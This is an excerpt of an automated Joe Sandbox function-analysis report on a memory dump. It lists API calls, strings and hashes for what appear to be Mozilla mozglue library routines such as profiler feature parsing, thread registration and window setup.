ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C616E1E

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction ID: a567c54825c9d0dd4802e5889b2207c3e97fdcc5694001012915b9adaaaaa60a
Opcode Fuzzy Hash: 4e17bb4726eac38f8f6cdff6bf3e09698db4e91d57506c444e15894a893f492d
Instruction Fuzzy Hash: 58A17F746183818FC715CF29C4907AEBBE2FF89308F54491DE48A87B51DB70E849CB9A

Function 6C5F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F5585, 6C5F55A8, 6C5F55C3, 6C5F5624

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction ID: a2d2aa7742d5b731d71ae67a5874b760f92b925f03d4e20c4982d9523ba86ab2
Opcode Fuzzy Hash: a5a50101316972e9e182af14c6607f88afb24aee17291698ae0f2ebdc8f0bc6d
Instruction Fuzzy Hash: F2B25C71A056018FD709CF29CA90615BBE2BFC5324B29C76DE47A8B7A5D771E842CF80

Function 6C6385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C638C7C
__aulldiv.LIBCMT ref: 6C638DD7

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: ebf74af3fb99a8c5bf9fb8866be4cc2633d914b14831cfd284b0dc9c04efdbc4
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 8A326F31F001298BDF18CE9DC8A17EEB7B2EB89304F15A12BD40AFB7A0D6345D458B95

Function 6C6476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C647B0B, 6C6479FB, 6C647E0B, 6C64793C, 6C647796, 6C6479C0

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2d0d3dd943d09ed4a1d46dbe8c527f5a2d9fb02aa9cd616dd452ed3bbb2e7526
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: B032F771E006198FCB14CF98C890AADFBB2FF89308F64C569C949A7745D731A986CF94

Function 6C646E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q]l, xrefs: 6C647B0B, 6C6479FB, 6C647E0B, 6C64793C, 6C647C72, 6C6479C0, 6C647C03

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: ~q]l
API String ID: 0-3028681918
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 4913812fa37c5a956e07bc23339cc396eff2b2b772d2db93f5219421394c71e7
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: D122D771E006198FCB14CF98C880AADF7F2FF89308F6585A9C949A7745D731A986CF94

Function 6C615C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5E4A63,?,?), ref: 6C615F06

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction ID: 741a313e849ee4dc7c16685333abf84a58ab04491cfe60fb1b9412eec6b075f5
Opcode Fuzzy Hash: af576c2cf9e9417f77c2ca8f6032fcaac8f8c068b92d7645047f1a794fe0d5c4
Instruction Fuzzy Hash: 23C19D75E052498FCB04CF99C1906EEFBF2BF8A319F288159D8556BB44D732A806CF94

Function 6C600512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 19de1656de91102e459d0925be66ab7856cbe58f7b598c0cf805078c4df466ef
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4C221671E046198FCB18CF98C990AADF7B2FF89308F548299C54AB7745D731A986CF84

Function 6C64AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction ID: 3d870cb035298b8a5d441383b670dc1126e9188ebc4a8e7302ebbf7b33658fce
Opcode Fuzzy Hash: 4131b3a1c0706f4b443e9dd052da4bda3e88b09b48611a714eb6196e45db41be
Instruction Fuzzy Hash: 8AF14772608745AFD700CE28C8807AEB7E2AFC6319F14CA3DE4D4877C2E37498858796

Function 6C5DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 21f6ace8cee4ae7ffb7713cda4769ab346ce877174a7e28a6080b5139fef2ac9
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: EBA19F71F0061A8FDB08CE6DC8917AEB7F2AFC9354F198169D915E7781DB34AC068B90

Function 6C6355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C60E1A5), ref: 6C635606
LoadLibraryW.KERNEL32(gdi32,?,6C60E1A5), ref: 6C63560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C635633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C63563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C63566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C63567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C635696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C635716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C63572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C635748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C635761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C63577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C635793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6357FF

Strings

FillRect, xrefs: 6C635729
GetWindowDC, xrefs: 6C635710
GetThreadDpiAwarenessContext, xrefs: 6C63562D
GetMonitorInfoW, xrefs: 6C6357A2
SetWindowPos, xrefs: 6C6356F7
GetSystemMetricsForDpi, xrefs: 6C635677
gdi32, xrefs: 6C63560A
GetDpiForWindow, xrefs: 6C635690
CreateSolidBrush, xrefs: 6C6357E4
user32, xrefs: 6C635601
AreDpiAwarenessContextsEqual, xrefs: 6C635637
StretchDIBits, xrefs: 6C6357CC
MonitorFromWindow, xrefs: 6C63578D
CreateWindowExW, xrefs: 6C6356C5
ReleaseDC, xrefs: 6C635742
RegisterClassW, xrefs: 6C6356AC
SetWindowLongPtrW, xrefs: 6C6357B7
DeleteObject, xrefs: 6C6357F9
LoadCursorW, xrefs: 6C635774
ShowWindow, xrefs: 6C6356DE
LoadIconW, xrefs: 6C63575B
EnableNonClientDpiScaling, xrefs: 6C635666

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction ID: 5a114312d1eab6c3c3a2e08aa082ea16a4d92e93be041af1a7d9ab09ee703649
Opcode Fuzzy Hash: 914cfe4b4572d42e95c4d728ef762d2a5573dac5eb8b95a4ffe579fb717a2db4
Instruction Fuzzy Hash: 805175707113239BDB01DF369D849263AF8AB46385FB4A425AD66E3A01EF74C901CF6D

Function 6C61CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5E582D), ref: 6C61CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5E582D), ref: 6C61CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64FE98,?,?,?,?,?,6C5E582D), ref: 6C61CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5E582D), ref: 6C61CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C61CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C61CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C61CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C61CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C61CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C61CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C61CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C61CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C61CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C61CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C61CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C61CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C61CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C61CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C61CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C61CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C61CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C61CE8A

Strings

nostacksampling, xrefs: 6C61CD7C
jsallocations, xrefs: 6C61CD0E
leaf, xrefs: 6C61CC66
Unrecognized feature "%s"., xrefs: 6C61CEA0
fileioall, xrefs: 6C61CCA8
default, xrefs: 6C61CC21
mainthreadio, xrefs: 6C61CC7C
stackwalk, xrefs: 6C61CCF8
power, xrefs: 6C61CE84
preferencereads, xrefs: 6C61CD92
notimerresolutionchange, xrefs: 6C61CE00
java, xrefs: 6C61CC37
cpuallthreads, xrefs: 6C61CE16
audiocallbacktracing, xrefs: 6C61CDD4
screenshots, xrefs: 6C61CCD4
fileio, xrefs: 6C61CC92
processcpu, xrefs: 6C61CE6E
noiostacks, xrefs: 6C61CCBE
markersallthreads, xrefs: 6C61CE42
seqstyle, xrefs: 6C61CCE6
samplingallthreads, xrefs: 6C61CE2C
unregisteredthreads, xrefs: 6C61CE58
nativeallocations, xrefs: 6C61CDA8
ipcmessages, xrefs: 6C61CDBE

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction ID: d3b00b400cd3820691a1b9e34c779d37908027b9086f277c5eee8db38f294f62
Opcode Fuzzy Hash: 386ac7a8fd4bb2e3223c7063e8c4484f4e58a13e202dab475ccaa6303ac5c390
Instruction Fuzzy Hash: E85144D1E5D62572FB01312D6D21BEE2485EF5324BF14C436EE0BA1F80FA05961AC9AF

Function 6C5E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5E44B2,6C65E21C,6C65F7F8), ref: 6C5E473E
Part of subcall function 6C5E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5E44D2
InitOnceExecuteOnce.KERNEL32(6C65F80C,6C5DF240,?,?), ref: 6C5E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E455C
LoadLibraryW.KERNEL32(?), ref: 6C5E4592
InitializeCriticalSection.KERNEL32(6C65F770), ref: 6C5E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5E45BB
InitOnceExecuteOnce.KERNEL32(6C65F818,6C5DF240,?,?), ref: 6C5E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E466D
VerSetConditionMask.NTDLL ref: 6C5E469F
VerSetConditionMask.NTDLL ref: 6C5E46AB
VerSetConditionMask.NTDLL ref: 6C5E46B2
VerSetConditionMask.NTDLL ref: 6C5E46B9
VerSetConditionMask.NTDLL ref: 6C5E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5E46FD

Strings

user32.dll, xrefs: 6C5E4557, 6C5E463F
kernel32.dll, xrefs: 6C5E44CD
WRusr.dll, xrefs: 6C5E44B5
Gel, xrefs: 6C5E44FC
l, xrefs: 6C5E4578
NativeNtBlockSet_Write, xrefs: 6C5E46F7

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984825270.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984848151.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1984867256.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gel$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1815337822
Opcode ID: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction ID: 26d91c04bde3dd1768c0c5bb053ff436fe25d81af04362e04d96a29858b94683
Opcode Fuzzy Hash: 496f2ac104e086c3632db3d72713949b9b9f942d51d471d36bbc694661b02aa3
Instruction Fuzzy Hash: DB6148B0600344AFEB00DFA2DC85BA57BB8FF8A308FB4C559E5049B641D3B18955CF9A

Function 6C61F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C61F8F9

Part of subcall function 6C5E6390: GetCurrentThreadId.KERNEL32 ref: 6C5E63D0
Part of subcall function 6C5E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5E63DF
Part of subcall function 6C5E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5E640E

ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F93A
GetCurrentThreadId.KERNEL32 ref: 6C61F98A
GetCurrentThreadId.KERNEL32 ref: 6C61F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F716

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

Part of subcall function 6C5DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C61F739
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F746
GetCurrentThreadId.KERNEL32 ref: 6C61F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C65385B,00000002,?,?,?,?,?), ref: 6C61F829
free.MOZGLUE(?,?,00000000,?), ref: 6C61F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C61F866
free.MOZGLUE(?), ref: 6C61FA0C

Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E55E1), ref: 6C5E5E8C
Part of subcall function 6C5E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5E9D
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EAB
Part of subcall function 6C5E5E60: GetCurrentThreadId.KERNEL32 ref: 6C5E5EB8
Part of subcall function 6C5E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5E5ECF
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5E5F27
Part of subcall function 6C5E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5E5F47
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F53
Part of subcall function 6C5E5E60: GetCurrentThread.KERNEL32 ref: 6C5E5F5C
Part of subcall function 6C5E5E60: GetCurrentProcess.KERNEL32 ref: 6C5E5F66
Part of subcall function 6C5E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5E5F7E

free.MOZGLUE(?), ref: 6C61F9C5
free.MOZGLUE(?), ref: 6C61F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C61F71F
Thread , xrefs: 6C61F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C61F9A6
" attempted to re-register as ", xrefs: 6C61F858

Memory Dump Source

Source File: 00000000.00000002.1984772947.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1984756821.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
